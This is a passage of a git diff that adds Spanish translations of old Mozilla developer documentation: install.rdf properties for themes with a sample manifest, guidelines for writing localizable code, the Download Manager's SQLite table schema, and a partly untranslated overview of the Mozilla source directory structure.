+<h4 id="Propiedades_de_install.rdf_requeridas" name="Propiedades_de_install.rdf_requeridas">Propiedades de install.rdf requeridas</h4>
+<p>El fichero install.rdf debe contener las siguientes propiedades. Véase <a href="es/Install.rdf">Referencia install.rdf</a> para más información:</p>
+<ul>
+ <li>em:id</li>
+ <li>em:version</li>
+ <li>em:type</li>
+ <li>em:targetApplication</li>
+ <li>em:name</li>
+ <li>em:internalName</li>
+</ul>
+<h4 id="Propiedades_de_install.rdf_opcionales" name="Propiedades_de_install.rdf_opcionales">Propiedades de install.rdf opcionales</h4>
+<ul>
+ <li>em:description</li>
+ <li>em:creator</li>
+ <li>em:contributor</li>
+ <li>em:homepageURL</li>
+ <li>em:updateURL</li>
+</ul>
+<p>Nótese que si el tema va a ser publicado en el sitio web <a class="external" href="http://addons.mozilla.org" rel="freelink">http://addons.mozilla.org</a>, no debe incluir la parte updateURL.</p>
+<h4 id="Fichero_install.rdf_de_ejemplo" name="Fichero_install.rdf_de_ejemplo">Fichero install.rdf de ejemplo</h4>
+<pre class="eval">&lt;?xml version="1.0"?&gt;
+
+&lt;RDF xmlns="<a class="external" href="http://www.w3.org/1999/02/22-rdf-syntax-ns#" rel="freelink">http://www.w3.org/1999/02/22-rdf-syntax-ns#</a>"
+     xmlns:em="<a class="external" href="http://www.mozilla.org/2004/em-rdf#" rel="freelink">http://www.mozilla.org/2004/em-rdf#</a>"&gt;
+
+  &lt;Description about="urn:mozilla:install-manifest"&gt;
+    &lt;em:id&gt;{18b64b56-d42f-428d-a88c-baa413bc413f}&lt;/em:id&gt;
+    &lt;em:version&gt;1.0&lt;/em:version&gt;
+    &lt;em:type&gt;4&lt;/em:type&gt;
+
+    &lt;!-- Aplicación para la cual esta extensión puede ser instaladainto,
+         indicando la mínima y máxima versión soportada. --&gt;
+    &lt;em:targetApplication&gt;
+      &lt;Description&gt;
+        &lt;em:id&gt;{ec8030f7-c20a-464f-9b0e-13a3a9e97384}&lt;/em:id&gt;
+        &lt;em:minVersion&gt;0.8&lt;/em:minVersion&gt;
+        &lt;em:maxVersion&gt;0.9&lt;/em:maxVersion&gt;
+      &lt;/Description&gt;
+    &lt;/em:targetApplication&gt;
+
+    &lt;!-- Front End MetaData --&gt;
+    &lt;em:name&gt;New Theme 1&lt;/em:name&gt;
+    &lt;em:description&gt;A test theme for Firefox&lt;/em:description&gt;
+    &lt;em:creator&gt;Ben Goodger&lt;/em:creator&gt;
+    &lt;em:contributor&gt;John Doe&lt;/em:contributor&gt;
+    &lt;em:homepageURL&gt;<a class="external" href="http://www.bengoodger.com/" rel="freelink">http://www.bengoodger.com/</a>&lt;/em:homepageURL&gt;
+
+    &lt;!-- Front End Integration Hooks (used by Theme Manager)--&gt;
+    &lt;em:internalName&gt;newtheme1&lt;/em:internalName&gt;
+  &lt;/Description&gt;
+&lt;/RDF&gt;
+</pre>
+<p>Los siguientes son algunos GUIDs de aplicaciones comunes que puedes usar en la propiedad targetApplication:</p>
+<pre class="eval">Firefox      {ec8030f7-c20a-464f-9b0e-13a3a9e97384}
+Thunderbird  {3550f703-e582-4d05-9a08-453d09bdfdc6}
+Sunbird      {718e30fb-e89b-41dd-9da7-e25a45638b28}
+</pre>
+<h3 id="Referencia_oficial_para_Toolkit_API" name="Referencia_oficial_para_Toolkit_API">Referencia oficial para <a href="es/Toolkit_API">Toolkit API</a></h3>
+<div>
+ {{page("/es/docs/Toolkit_API/Official_References")}}</div>
diff --git a/files/es/escribir_código_localizable/index.html b/files/es/escribir_código_localizable/index.html
new file mode 100644
index 0000000000..dc9f1579a5
--- /dev/null
+++ b/files/es/escribir_código_localizable/index.html
@@ -0,0 +1,25 @@
+---
+title: Escribir código localizable
+slug: Escribir_código_localizable
+tags:
+  - Localización
+translation_of: Mozilla/Localization/Writing_localizable_code
+---
+<h2 id="Escribir_c.C3.B3digo_localizable" name="Escribir_c.C3.B3digo_localizable">Escribir código localizable</h2>
+<p>Esta página explica las buenas prácticas y directrices al tratar con código de interfaces de usuario en relación a la localización. Está dirigido a desarrolladores de Mozilla y de sus extensiones.</p>
+<p>Para más detalles técnicos, por favor, revisa el <a class="internal" href="/es/Tutorial%20de%20XUL/Localizaci%C3%B3n" title="es/Tutorial de XUL/Localización">Tutorial de XUL:Localización</a>.</p>
+<p><span class="comment">{{ draft }}</span></p>
+<h3 id="Acerca_de_los_traductores" name="Acerca_de_los_traductores">Acerca de los traductores</h3>
+<p>Un par de apuntes sobre los traductores para desarrolladores que raramente trabajan con ellos.</p>
+<ul> <li>A los traductores les gustan las herramientas, no los editores de texto.</li> <li>Las herramientas de traducción están basadas con frecuencia en pares clave/valor.</li> <li>Al menos algunos traductores dirigen su talento a la habilidad con los idiomas y no son expertos en programación, ni siquiera en la compilación de aplicaciones.</li>
+</ul>
+<h3 id="Gu.C3.ADas_de_estilo" name="Gu.C3.ADas_de_estilo">Directrices</h3>
+<p>Por tanto, hay algunas directrices que se deberían seguir para facilitar la localización de tu código.</p>
+<dl><dt> Elegir nombres de claves apropiados</dt><dd> Los nombres elegidos para las claves (sin importar que estén en un DTD o en un fichero properties) deberían ser descriptivos. Piensa en ellos como nombres de variable largos. Si la semántica de una cadena traducible cambia, entonces la clave también debería cambiar. Esto mejorará el nombre de la clave y las herramientas podrán detectar que lo que se ha cambiado es algo más que una simple corrección ortográfica o gramatical. </dd></dl> <dl><dt> No asumir el uso de gramática en la cadenas compuestas</dt><dd> Si se dividen frases en varias claves se presupone el uso de una gramática, una estructura de frase y tales cadenas compuestas son con frecuencia muy difíciles de traducir. Cuando se necesite una cadena compuesta, es aconsejable darles a los traductores espacio para moverse. Un buen ejemplo de cadena compuesta es la configuración de páginas visitadas en Firefox: el traductor puede (implícitamente) poner el campo de texto como él crea conveniente. </dd></dl> <dl><dt> No usar macros de preprocesador</dt><dd> El uso de <code>#if #else #endif</code> o <code>#expand</code> está profundamente desaconsejado. Existen unas pocas excepciones a esta regla, pero en general el fichero traducido debería cumplir los estándares y no debería necesitar herramientas de compilación para ser transformado. Si se quiere añadir procesamiento durante la compilación a ficheros de localización, habría que asegurarse de pedir opinión a <a href="/User:AxelHecht" title="User:AxelHecht">l10n@</a>. En la mayoría de los casos, las instrucciones de proceso también se pueden poner en el código de contenido y referenciar diferentes pares clave/valor en <code>l10n</code>. </dd></dl> <dl><dt> Utilizar una buena estructura de directorios</dt><dd> Asegúrate de poner los ficheros de localización en el lugar apropiado. La inclusión de nuevos directorios superiores es un compromiso entre la propiedad del módulo en el repositorio <code>cvsroot</code> y la facilidad de la traducción. </dd></dl> <dl><dt> Utilizar una buena estructura de directorios chrome</dt><dd> Para un módulo <code>mod</code> en particular, la ruta <code>jar:ab-CD.jar!/locale/ab-CD/mod/foo.dtd</code> ha sido ampliamente probada y es un buen lugar para referenciar los ficheros como <code><a class=" external" rel="freelink">chrome://mod/locale/foo.dtd</a></code>. Utilizar una estructura de directorios como ésta facilita el proceso de traducción sin el código fuente y es especialmente recomendada para desarrolladores de extensiones. <a href="/es/JAR_Manifests" title="es/JAR_Manifests">JAR Manifests</a> puede hacer esto de forma fácil. </dd></dl>
+<h3 id="El_impacto_l10n" name="El_impacto_l10n">El impacto l10n</h3>
+<p>En árboles congelados, existe la regla de no aplicar cambios que supongan <em>impacto l10n</em>. ¿Pero qué significa esto? <em>El impacto l10n</em> es</p>
+<ul> <li>cualquier cambio en <code>mozilla/@mod@/locales</code>; los traductores averiguan si hay cambios que deben replicar en su idioma haciendo consultas a bonsai, como haría cualquiera. <span class="comment">Ningún cambio significa que el resultado de estas consultas debe estar vacío.</span></li>
+</ul>
+<ul> <li>Cualquier cambio o nueva utilización de cadenas de localización; lo que sea que dispare un ciclo QA en nuestras más de 40 localizaciones es un <em>impacto l10n</em>.</li>
+</ul>
+<p>{{ languages( { "en": "en/Writing_localizable_code", "fr": "fr/\u00c9criture_de_code_localisable" } ) }}</p>
diff --git a/files/es/esquema_del_administrador_de_descargas/index.html b/files/es/esquema_del_administrador_de_descargas/index.html
new file mode 100644
index 0000000000..a58908da5f
--- /dev/null
+++ b/files/es/esquema_del_administrador_de_descargas/index.html
@@ -0,0 +1,108 @@
+---
+title: Esquema del Administrador de descargas
+slug: Esquema_del_Administrador_de_descargas
+tags:
+  - Firefox 3
+translation_of: Archive/Mozilla/The_Download_Manager_schema
+---
+<p>
+</p><p>El Administrador de Descargas utiliza una tabla SQLite para hacer seguimiento de las descargas en progreso así como las descargas en cola y las terminadas.
+</p><p>La tabla se mantiene en un archivo de base de datos llamado "downloads.sqlite", en una tabla llamada "moz_downloads". La versión actual del esquema de la base de datos es 8.
+</p><p>Esta información está disponible usando el método <code><a href="/es/docs/Mozilla/Tech/XPCOM/Reference/Interface/nsIDownloadManager" title="">nsIDownloadManager</a></code> para leer los objetos <code><a href="/es/docs/Mozilla/Tech/XPCOM/Reference/Interface/nsIDownload" title="">nsIDownload</a></code> para cada entrada de descargas. Sin embargo, si crees que que prefieres ir directamente a la tabla, puedes hacerlo usando el API <a href="es/Storage">Storage</a>.
+</p>
+<h3 id="El_esquema_de_la_tabla" name="El_esquema_de_la_tabla">El esquema de la tabla</h3>
+<table class="standard-table"> <tbody><tr>
+<th>Nombre del campo
+</th><th>Tipo
+</th><th>Descripción
+</th></tr>
+<tr>
+<td>id
+</td><td>INTEGER
+</td><td>Un ID único para la descarga. Este campo es la clave primaria para la tabla.
+</td></tr>
+<tr>
+<td>nombre
+</td><td>TEXT
+</td><td>El nombre del archivo de la descarga.
+</td></tr>
+<tr>
+<td>origen
+</td><td>TEXT
+</td><td>La URI origen de la descarga.
+</td></tr>
+<tr>
+<td>destino
+</td><td>TEXT
+</td><td>La URI destino final de la descarga.
+</td></tr>
+<tr>
+<td>tempPath
+</td><td>TEXT
+</td><td>El path del archivo temporal usado para la descarga.
+</td></tr>
+<tr>
+<td>startTime
+</td><td>INTEGER
+</td><td>La hora de comienzo de la descarga.
+</td></tr>
+<tr>
+<td>endTime
+</td><td>INTEGER
+</td><td>La hora de final de la descarga.
+</td></tr>
+<tr>
+<td>state
+</td><td>INTEGER
+</td><td>El estado actual de la descarga. Ver <a href="es/NsIDownloadManager#Constants">the constants list in the <code>nsIDownloadManager</code> documentation</a>.
+</td></tr>
+<tr>
+<td>referrer
+</td><td>TEXT
+</td><td>El que refiere la descarga (página de donde proviene).
+</td></tr>
+<tr>
+<td>entityID
+</td><td>TEXT
+</td><td>El ID identificador de <code><a href="/es/docs/Mozilla/Tech/XPCOM/Reference/Interface/nsIResumableChannel" title="">nsIResumableChannel</a></code> usado para implementar el canal de descarga. Esta información es usada para reanudar la descarga cuando ha sido pausada.
+</td></tr>
+<tr>
+<td>currBytes
+</td><td>INTEGER
+</td><td>La cantidad actual de bytes que han sido descargados. Por defecto es 0, no puede ser nulo.
+</td></tr>
+<tr>
+<td>maxBytes
+</td><td>INTEGER
+</td><td>El número total de bytes que hay que descargar. Por defecto es -1, no puede ser nulo.
+</td></tr>
+<tr>
+<td>mimeType
+</td><td>TEXT
+</td><td>El tipo MIME del archivo.
+</td></tr>
+<tr>
+<td>preferredApplication
+</td><td>TEXT
+</td><td>La aplicación preferida para abrir el archivo una vez finalizada la descarga.
+</td></tr>
+<tr>
+<td>preferredAction
+</td><td>INTEGER
+</td><td>La constante de acción servida por <code><a href="/es/docs/Mozilla/Tech/XPCOM/Reference/Interface/nsIMIMEInfo" title="">nsIMIMEInfo</a></code> que representa la acción a tomar al terminar la descarga. Por defecto es 0 (guardar en disco), no puede ser nulo.
+</td></tr>
+<tr>
+<td>autoResume
+</td><td>INTEGER
+</td><td>0 si la descarga del archivo no debe ser automáticamente reanudada, 1 si debe serlo. Por defecto es 0, no puede ser nulo.
+</td></tr>
+</tbody></table>
+<h3 id="Ver_tambi.C3.A9n" name="Ver_tambi.C3.A9n">Ver también</h3>
+<ul><li> <code><a href="/es/docs/Mozilla/Tech/XPCOM/Reference/Interface/nsIDownloadManager" title="">nsIDownloadManager</a></code>
+</li><li> <code><a href="/es/docs/Mozilla/Tech/XPCOM/Reference/Interface/nsIDownloadManagerUI" title="">nsIDownloadManagerUI</a></code>
+</li><li> <code><a href="/es/docs/Mozilla/Tech/XPCOM/Reference/Interface/nsIDownloadProgressListener" title="">nsIDownloadProgressListener</a></code>
+</li></ul>
+<p><br>
+</p>
+<div class="noinclude">
+</div>
diff --git a/files/es/estructura_de_directorios_de_código_fuente_de_mozilla/index.html b/files/es/estructura_de_directorios_de_código_fuente_de_mozilla/index.html
new file mode 100644
index 0000000000..64997a3c50
--- /dev/null
+++ b/files/es/estructura_de_directorios_de_código_fuente_de_mozilla/index.html
@@ -0,0 +1,698 @@
+---
+title: Estructura de directorios de código fuente de Mozilla
+slug: Estructura_de_directorios_de_código_fuente_de_Mozilla
+---
+<p>El código para todos los proyectos de la familia Mozilla (como <span style="color: #0000cd;">Firefox</span>, <span style="color: #0000cd;">Thunderbird</span>, <span style="color: #0000cd;">etc.</span>) se combina en un único árbol-fuente. El árbol contiene el código fuente, así como el código necesario para generar cada proyecto en las plataformas compatibles (Linux, Windows, Mac OS, etc).</p>
+<p>Si simplemente quieres echar un vistazo al código fuente de Mozilla, no es necesario que lo descargues. Puedes mirar el codigo fuente directamente con tu navegador web usando MXR (la raiz del codigo fuente completo de Mozilla comienza en <a class="external" href="http://mxr.mozilla.org/mozilla-central/source/" rel="external" title="http://mxr.mozilla.org/mozilla-central/source/">http://mxr.mozilla.org/mozilla-central/source/</a>).</p>
+<p>Para modificar el código fuente, tienes que adquirirlo, ya sea descargando una<span style="color: #0000cd;"> instantánea </span>de las fuentes o <span style="color: #0000cd;">revisando las fuentes actuales de Mercurial</span>.</p>
+<p>Este documento describe la estructura de directorios que puede ser generada por client.mk -- es decir, los directorios que se utilizan por lo menos en algún producto del proyecto Mozilla. Hay otros directorios en el repositorio CVS de Mozilla, como los de las herramientas Web y los del código base clásico.</p>
+<p>Esto no está del todo actualizado. Mira la <span style="color: #0000cd;">descripción general de los directorios del código fuente</span> para una versión algo diferente (antigua) de la misma información. También mira la <span style="color: #0000cd;">descripción más detallada de las partes de Gecko</span>.</p>
+<h2 id="accessible">accessible</h2>
+<p>Archivos para la accesibilidad (por ejemplo, los archivos de soporte MSAA (Microsoft Active Accessibility) y ATK (Accessibility Toolkit, usado por GTK+ 2)). Ver <span style="color: #0000cd;">Accesibilidad de Mozilla</span>  <span style="color: #0000cd;">Accesibilidad</span>.</p>
+<h2 id="browser">browser</h2>
+<p>Contiene el código de la parte del usuario para el navegador Firefox (en XUL, JavaScript, XBL, y C++). Muchos de estos archivos comenzaron como una copia de los archivos de <span style="color: #0000cd;">xpfe</span>/.</p>
+<div id="section_3">
+  <h2 id="build">build</h2>
+  <p>Archivos varios, utilizados en el proceso de compilación. Véase también <a href="/en-US/docs/Mozilla_Source_Code_Directory_Structure#config" title="Mozilla_Source_Code_Directory_Structure#config">config</a>/.</p>
+</div>
+
+<div id="section_4">
+  <h2 id="calendar">calendar</h2>
+  <p>Implementación de <span style="color: #0000cd;">Calendar</span>, creado originalmente por OEone. Véase también <a href="/en-US/docs/Mozilla_Source_Code_Directory_Structure#extensions.2Flightning" title="Mozilla_Source_Code_Directory_Structure#extensions.2Flightning">extensions/lightning</a>/.</p>
+  <h2 id="caps">caps</h2>
+  <p>Gestión de la seguridad de la página web basada en capabilities.</p>
+  <p>Caps contiene las interfaces de C++ y el código para determinar las capabilities del contenido basado en la configuración de seguridad o certificados (por ejemplo VeriSign). Ver <span style="color: #0000cd;">seguridad de componentes</span>.</p>
+  <div id="section_6">
+    <h2 id="chrome">chrome</h2>
+    <p>Registro chrome utilizado con <a href="/en-US/docs/Mozilla_Source_Code_Directory_Structure#toolkit" title="Mozilla_Source_Code_Directory_Structure#toolkit">toolkit</a>/. Estos archivos fueron originalmente copias de los archivos de <a href="/en-US/docs/Mozilla_Source_Code_Directory_Structure#rdf" title="Mozilla_Source_Code_Directory_Structure#rdf">rdf</a>/chrome/.</p>
+  </div>
+  <div id="section_7">
+    <h2 id="composer">composer</h2>
+    <p>El código (XUL y JavaScript) de la parte del usuario (front-end) para la aplicación standalone <a href="http://www-archive.mozilla.org/editor/" title="http://www-archive.mozilla.org/editor/">Composer</a>.</p>
+  </div>
+  <div id="section_8">
+    <h2 id="config">config</h2>
+    <p>Más archivos utilizados por el proceso de compilación, incluidos normalmente para los makefiles, etc. Véase también <a href="/en-US/docs/Mozilla_Source_Code_Directory_Structure#build" title="Mozilla_Source_Code_Directory_Structure#build">build</a>/.</p>
+    <h2 id="content">content</h2>
+    <p>Las estructuras de datos que representan la estructura de las páginas Web (HTML, SVG, documentos XML, elementos, nodos de texto, etc.). Estos objetos contienen la implementación de varias interfaces DOM y también implementan algunos de los comportamientos asociados a esos objetos, como manejo de enlaces, control del comportamiento del formulario y envío del formulario.</p>
+    <p>Este directorio también contiene el código para <span style="color: #0000cd;">XUL</span>, <span style="color: #0000cd;">XBL</span>, <span style="color: #0000cd;">XTF</span>, <span style="color: #0000cd;">&lt;canvas&gt;</span>, así como el código de la implementación XSLT y manejo de eventos.</p>
+    <h2 id="db">db</h2>
+    <p>Contenedor para los módulos de acceso a las bases de datos. Actualmente contiene mork y sqlite.</p>
+    <h2 id="dbmdb_dbmork_and_dbmorkreader">db/mdb, db/mork, and db/morkreader</h2>
+    Implementación de <a href="/en-US/docs/Mork" title="Mork">Mork</a>, un formato de texto para bases de datos. Este se utiliza por ejemplo para almacenar la historia global.<br>
+    <p><code>morkreader</code> es un analizador simple para mork usado para migrar los datos antiguos a las nuevas bases de datos basadas en sqlite.</p>
+    <div id="section_12">
+      <h2 id="dbsqlite3">db/sqlite3</h2>
+      <p>La base de datos SQLite, usada por <a href="/en-US/docs/Storage" title="Storage">storage</a>. Reemplaza a mork en <a href="/en-US/docs/Firefox_3_for_developers" title="Firefox_3_for_developers">Firefox 3</a>.</p>
+    </div>
+    <div id="section_13">
+      <h2 id="dbm">dbm</h2>
+      <p>Código fuente de la librería Berkeley de base de datos, hackeado desde la versión 4.4BSD. Utilizado principalmente por el código NSS como almacén de certificados.</p>
+    </div>
+    <div id="section_14">
+      <h2 id="directory"><span>directory</span></h2>
+      <p>Soporte LDAP para Mozilla. Utilizado en las noticias por correo.</p>
+    </div>
+    <div id="section_15">
+      <h2 id="docshell"><span>docshell</span></h2>
+      <p>Implementación del docshell, el objeto principal para el manejo de lo relacionado con la ventana de un documento. Cada cuadro tiene su propio docshell. Contiene métodos para la carga de URIs, gestión de los oyentes del contenido de los URIs, etc. Es la capa más externa de la API embebida usada para incrustar un navegador Gecko en una aplicación. Ver también <a href="/en-US/docs/Mozilla_Source_Code_Directory_Structure#webshell">webshell</a>/.</p>
+    </div>
+    <div id="section_16">
+      <h2 id="dom">dom</h2>
+      <p>Contiene:</p>
+      <ul>
+        <li><a href="/en-US/docs/XPIDL" title="XPIDL">Definiciones IDL</a> de las interfaces definidas por las especificaciones DOM y las extensiones de Mozilla a estas interfaces (las implementaciones de estas interfaces están principalmente, aunque no completamente, en <a href="/en-US/docs/Mozilla_Source_Code_Directory_Structure#content">content</a>/).</li>
+        <li>Las partes de la conexión entre JavaScript y las implementaciones de objetos DOM que son específicos para JavaScript y el DOM. (Las partes que no son específicas del DOM, es decir, la unión genérica entre XPCOM y JavaScript, se encuentran en <a href="/en-US/docs/Mozilla_Source_Code_Directory_Structure#js/src/xpconnect" rel="custom">js/src/xpconnect</a>/.)</li>
+        <li>Las implementaciones de algunos de los principales objetos "DOM nivel 0", tales como window, window.navigator, window.location, etc.</li>
+      </ul>
+    </div>
+    <div id="section_17">
+      <h2 id="editor"><span>editor</span></h2>
+      <p>The editor directory contains C++ interfaces, C++ code, and XUL/JavaScript for the embeddable editor component, which is used for the HTML Editor("Composer"), for plain and HTML mail composition, and for text fields and text areas throughout the product. The editor is designed like a "browser window with editing features": it adds some special classes for editing text and managing transaction undo/redo, but reuses browser code for nearly everything else.</p>
+      <p>Contains:</p>
+      <ul>
+        <li>The backend for HTML and text editing. This is not only used for the mail composer and the page editor composer, but also for <a class="external" href="http://www.mozilla.org/editor/midas-spec.html" rel="external" title="http://www.mozilla.org/editor/midas-spec.html">rich text editing inside webpages</a>. Textarea and input fields are using such an editor as well (in the plaintext variant). See <a class="external" href="http://www.mozilla.org/editor/" rel="external" title="http://www.mozilla.org/editor/">Mozilla Editor</a>.</li>
+        <li>The frontend for the HTML editor that is part of SeaMonkey.</li>
+      </ul>
+    </div>
+    <div id="section_18">
+      <h2 id="embedding"><span>embedding</span></h2>
+      <p>XXX this needs a description. See <a class="external" href="http://www.mozilla.org/projects/embedding/" rel="external" title="http://www.mozilla.org/projects/embedding/">Embedding</a>.</p>
+    </div>
+    <div id="section_19">
+      <h2 id="extensions"><span>extensions</span></h2>
+      Contains several extensions to mozilla, which can be enabled at compile-time using the <code>--enable-extensions</code> configure argument.<br>
+      <p>Note that some of these are now built specially and not using the <code>--enable-extensions</code> option. For example, disabling xmlextras is done using <code>--disable-xmlextras</code>.</p>
+      <div id="section_20">
+        <h3 id="extensionsauth"><span>extensions/auth</span></h3>
+        <p>Implementation of the negotiate auth method for HTTP and other protocols. Has code for SSPI, GSSAPI, etc. See <a class="external" href="http://www.mozilla.org/projects/netlib/integrated-auth.html" rel="external" title="http://www.mozilla.org/projects/netlib/integrated-auth.html">Integrated Authentication</a>.</p>
+      </div>
+      <div id="section_21">
+        <h3 id="extensionscontent-packs"><span>extensions/content-packs</span></h3>
+        <p>Content- and locale-pack switching user interface.</p>
+      </div>
+      <div id="section_22">
+        <h3 id="extensionscookie"><span>extensions/cookie</span></h3>
+        <p>Permissions backend for cookies, images etc, as well as the user interface to these permissions and other cookie features.</p>
+      </div>
+      <div id="section_23">
+        <h3 id="extensionscview"><span>extensions/cview</span></h3>
+        <p>Component viewer, which allows to view the currently registered components and interfaces.</p>
+      </div>
+      <div id="section_24">
+        <h3 id="extensionsdatetime"><span>extensions/datetime</span></h3>
+        <p>Support for the datetime protocol.</p>
+      </div>
+      <div id="section_25">
+        <h3 id="extensionsfinger"><span>extensions/finger</span></h3>
+        <p>Support for the finger protocol.</p>
+      </div>
+      <div id="section_26">
+        <h3 id="extensionsgnomevfs"><span>extensions/gnomevfs</span></h3>
+        <p>Interface to gnome-vfs to allow using all protocols supported by gnome-vfs inside of mozilla.</p>
+      </div>
+      <div id="section_27">
+        <h3 id="extensionshelp"><span>extensions/help</span></h3>
+        <p>Help viewer and help content. See <a class="external" href="http://www.mozilla.org/projects/help-viewer/" rel="external" title="http://www.mozilla.org/projects/help-viewer/">Mozilla Help Viewer Project</a>.</p>
+      </div>
+      <div id="section_28">
+        <h3 id="extensionsirc"><span>extensions/irc</span></h3>
+        <div class="editIcon">
+          <h3 id="sect1"><a href="/en-US/docs/Mozilla_Source_Code_Directory_Structure?action=edit&amp;sectionId=28"><span class="icon"><img alt="Edit section" class="sectionedit" src="/skins/common/icons/icon-trans.gif"></span></a></h3>
+        </div>
+        <p>This is ChatZilla, the IRC (Internet Relay Chat) component. See <a class="external" href="http://www.mozilla.org/projects/rt-messaging/chatzilla/" rel="external" title="http://www.mozilla.org/projects/rt-messaging/chatzilla/">ChatZilla</a>.</p>
+      </div>
+      <div id="section_29">
+        <h3 id="extensionsjava"><span>extensions/java</span></h3>
+        <div class="editIcon">
+          <h3 id="sect2"><a href="/en-US/docs/Mozilla_Source_Code_Directory_Structure?action=edit&amp;sectionId=29"><span class="icon"><img alt="Edit section" class="sectionedit" src="/skins/common/icons/icon-trans.gif"></span></a></h3>
+        </div>
+        <p>XPCOM&lt;-&gt;Java bridge ("<a href="/en-US/docs/JavaXPCOM" title="JavaXPCOM">JavaXPCOM</a>", formerly known as Javaconnect). Unrelated to the code in <a href="/en-US/docs/Mozilla_Source_Code_Directory_Structure#java">java</a>/.</p>
+      </div>
+      <div id="section_30">
+        <h3 id="extensionslayout-debug"><span>extensions/layout-debug</span></h3>
+        <div class="editIcon">
+          <h3 id="sect3"><a href="/en-US/docs/Mozilla_Source_Code_Directory_Structure?action=edit&amp;sectionId=30"><span class="icon"><img alt="Edit section" class="sectionedit" src="/skins/common/icons/icon-trans.gif"></span></a></h3>
+        </div>
+        <p>Layout debugger. Intended as replacement for "viewer". Can be used to run layout regression tests and has support for other layout debugging features.</p>
+      </div>
+      <div id="section_31">
+        <h3 id="extensionslightning"><span>extensions/lightning</span></h3>
+        <div class="editIcon">
+          <h3 id="sect4"><a href="/en-US/docs/Mozilla_Source_Code_Directory_Structure?action=edit&amp;sectionId=31"><span class="icon"><img alt="Edit section" class="sectionedit" src="/skins/common/icons/icon-trans.gif"></span></a></h3>
+        </div>
+        <p>The Lightning project, "an extension to tightly integrate calendar functionality (scheduling, tasks, etc.) into Thunderbird." See <a class="external" href="http://wiki.mozilla.org/Calendar:Lightning" rel="external" title="http://wiki.mozilla.org/Calendar:Lightning">Lightning</a>.</p>
+      </div>
+      <div id="section_32">
+        <h3 id="extensionsmono"><span>extensions/mono</span></h3>
+        <div class="editIcon">
+          <h3 id="sect5"><a href="/en-US/docs/Mozilla_Source_Code_Directory_Structure?action=edit&amp;sectionId=32"><span class="icon"><img alt="Edit section" class="sectionedit" src="/skins/common/icons/icon-trans.gif"></span></a></h3>
+        </div>
+        <p>A two-way bridge between the CLR/.NET/Mono/C#/etc. world and XPCOM.</p>
+      </div>
+      <div id="section_33">
+        <h3 id="extensionsp3p"><span>extensions/p3p</span></h3>
+        <div class="editIcon">
+          <h3 id="sect6"><a href="/en-US/docs/Mozilla_Source_Code_Directory_Structure?action=edit&amp;sectionId=33"><span class="icon"><img alt="Edit section" class="sectionedit" src="/skins/common/icons/icon-trans.gif"></span></a></h3>
+        </div>
+        <p>Implementation of W3C's Platform for Privacy Preferences standard. See <a class="external" href="http://www.mozilla.org/projects/p3p/" rel="external" title="http://www.mozilla.org/projects/p3p/">Platform for Privacy Preferences (P3P)</a>.</p>
+      </div>
+      <div id="section_34">
+        <h3 id="extensionspref"><span>extensions/pref</span></h3>
+        <div class="editIcon">
+          <h3 id="sect7"><a href="/en-US/docs/Mozilla_Source_Code_Directory_Structure?action=edit&amp;sectionId=34"><span class="icon"><img alt="Edit section" class="sectionedit" src="/skins/common/icons/icon-trans.gif"></span></a></h3>
+        </div>
+        <p>Preference-related extensions:</p>
+      </div>
+      <div id="section_35">
+        <h3 id="extensionspython"><span>extensions/python</span></h3>
+        <div class="editIcon">
+          <h3 id="sect8"><a href="/en-US/docs/Mozilla_Source_Code_Directory_Structure?action=edit&amp;sectionId=35"><span class="icon"><img alt="Edit section" class="sectionedit" src="/skins/common/icons/icon-trans.gif"></span></a></h3>
+        </div>
+        <p>Support for implementing XPCOM components in python. See <a href="/en-US/docs/PyXPCOM" title="PyXPCOM">PyXPCOM</a>.</p>
+      </div>
+      <div id="section_36">
+        <h3 id="extensionsreporter"><span>extensions/reporter</span></h3>
+        <div class="editIcon">
+          <h3 id="sect9"><a href="/en-US/docs/Mozilla_Source_Code_Directory_Structure?action=edit&amp;sectionId=36"><span class="icon"><img alt="Edit section" class="sectionedit" src="/skins/common/icons/icon-trans.gif"></span></a></h3>
+        </div>
+        <p>An extension to report problems with web pages. Client-side part. See <a class="external" href="http://reporter.mozilla.org/" rel="external" title="http://reporter.mozilla.org/">Mozilla Reporter</a>.</p>
+      </div>
+      <div id="section_37">
+        <h3 id="extensionschema-validation"><span>extension/schema-validation</span></h3>
+        <div class="editIcon">
+          <h3 id="sect10"><a href="/en-US/docs/Mozilla_Source_Code_Directory_Structure?action=edit&amp;sectionId=37"><span class="icon"><img alt="Edit section" class="sectionedit" src="/skins/common/icons/icon-trans.gif"></span></a></h3>
+        </div>
+        <p>Allows to validate XML trees according to specified XML Schemas.</p>
+      </div>
+      <div id="section_38">
+        <h3 id="extensionspatialnavigation"><span>extension/spatialnavigation</span></h3>
+        <div class="editIcon">
+          <h3 id="sect11"><a href="/en-US/docs/Mozilla_Source_Code_Directory_Structure?action=edit&amp;sectionId=38"><span class="icon"><img alt="Edit section" class="sectionedit" src="/skins/common/icons/icon-trans.gif"></span></a></h3>
+        </div>
+        <p>Spatial navigation, navigating between links of a document according to their on-screen position. See <a class="external" href="http://www.mozilla.org/access/keyboard/snav/" rel="external" title="http://www.mozilla.org/access/keyboard/snav/">Spatial Navigation</a>.</p>
+      </div>
+      <div id="section_39">
+        <h3 id="extensionsspellcheck"><span>extensions/spellcheck</span></h3>
+        <div class="editIcon">
+          <h3 id="sect12"><a href="/en-US/docs/Mozilla_Source_Code_Directory_Structure?action=edit&amp;sectionId=39"><span class="icon"><img alt="Edit section" class="sectionedit" src="/skins/common/icons/icon-trans.gif"></span></a></h3>
+        </div>
+        <p>Spellchecker for mailnews and composer.</p>
+      </div>
+      <div id="section_40">
+        <h3 id="extensionssql"><span>extensions/sql</span></h3>
+        <div class="editIcon">
+          <h3 id="sect13"><a href="/en-US/docs/Mozilla_Source_Code_Directory_Structure?action=edit&amp;sectionId=40"><span class="icon"><img alt="Edit section" class="sectionedit" src="/skins/common/icons/icon-trans.gif"></span></a></h3>
+        </div>
+        <p>Support for accessing SQL databases from XUL applications. See <a class="external" href="http://www.mozilla.org/projects/sql/" rel="external" title="http://www.mozilla.org/projects/sql/">SQL Support in Mozilla</a>.</p>
+      </div>
+      <div id="section_41">
+        <h3 id="extensionssroaming"><span>extensions/sroaming</span></h3>
+        <div class="editIcon">
+          <h3 id="sect14"><a href="/en-US/docs/Mozilla_Source_Code_Directory_Structure?action=edit&amp;sectionId=41"><span class="icon"><img alt="Edit section" class="sectionedit" src="/skins/common/icons/icon-trans.gif"></span></a></h3>
+        </div>
+        <p>Session roaming, i.e. support for storing a profile on a remote server.</p>
+      </div>
+      <div id="section_42">
